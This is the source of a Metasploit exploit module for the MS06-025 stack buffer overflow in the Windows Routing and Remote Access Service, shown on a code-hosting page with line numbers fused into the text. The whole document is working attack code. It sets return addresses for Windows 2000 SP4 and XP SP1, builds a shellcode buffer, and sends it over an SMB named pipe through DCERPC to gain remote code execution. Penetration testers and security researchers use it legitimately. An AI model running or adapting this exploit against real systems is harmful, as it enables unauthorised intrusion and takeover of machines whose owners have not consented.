Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms06_025_rras.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS06-025 Microsoft RRAS Service Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the Windows Routing and Remote16Access Service. Since the service is hosted inside svchost.exe, a failed17exploit attempt can cause other system services to fail as well. A valid18username and password is required to exploit this flaw on Windows 2000.19When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. },20'Author' =>21[22'Nicolas Pouvesle <nicolas.pouvesle[at]gmail.com>',23'hdm'24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2006-2370' ],29[ 'OSVDB', '26437' ],30[ 'BID', '18325' ],31[ 'MSB', 'MS06-025' ]32],33'DefaultOptions' =>34{35'EXITFUNC' => 'thread',36},37'Privileged' => true,38'Payload' =>39{40'Space' => 1104,41'BadChars' => "\x00",42'StackAdjustment' => -3500,43},44'Platform' => 'win',45'Targets' =>46[47[ 'Windows 2000 SP4', { 'Ret' => 0x7571c1e4 } ],48[ 'Windows XP SP1', { 'Ret' => 0x7248d4cc } ],49],5051'DisclosureDate' => '2006-06-13'))5253register_options(54[55OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']),56])5758deregister_options('SMB::ProtocolVersion')59end6061# Post authentication bugs are rarely useful during automation62def autofilter63false64end6566def exploit6768connect(versions: [1])69smb_login()7071handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])7273print_status("Binding to #{handle} ...")74dcerpc_bind(handle)75print_status("Bound to #{handle} ...")767778print_status('Getting OS...')7980# Check the remote OS name and version81os = smb_peer_os82pat = ''8384case os85when /Windows 5\.0/86pat =87payload.encoded +88"\xeb\x06" +89rand_text_alphanumeric(2) +90[target.ret].pack('V') +91"\xe9\xb7\xfb\xff\xff"92os = 'Windows 2000'93when /Windows 5\.1/94pat =95rand_text_alphanumeric(0x4c) +96"\xeb\x06" +97rand_text_alphanumeric(2) +98[target.ret].pack('V') +99payload.encoded100os = 'Windows XP'101end102103req = [1, 0x49].pack('VV') + pat + rand_text_alphanumeric(0x4000-pat.length)104len = req.length105stb =106NDR.long(0x20000) +107NDR.long(len) +108req +109NDR.long(len)110111print_status("Calling the vulnerable function on #{os}...")112113begin114dcerpc.call(0x0C, stb)115rescue Rex::Proto::DCERPC::Exceptions::NoResponse116rescue => e117if e.to_s !~ /STATUS_PIPE_DISCONNECTED/118raise e119end120end121122# Cleanup123handler124disconnect125end126end127128129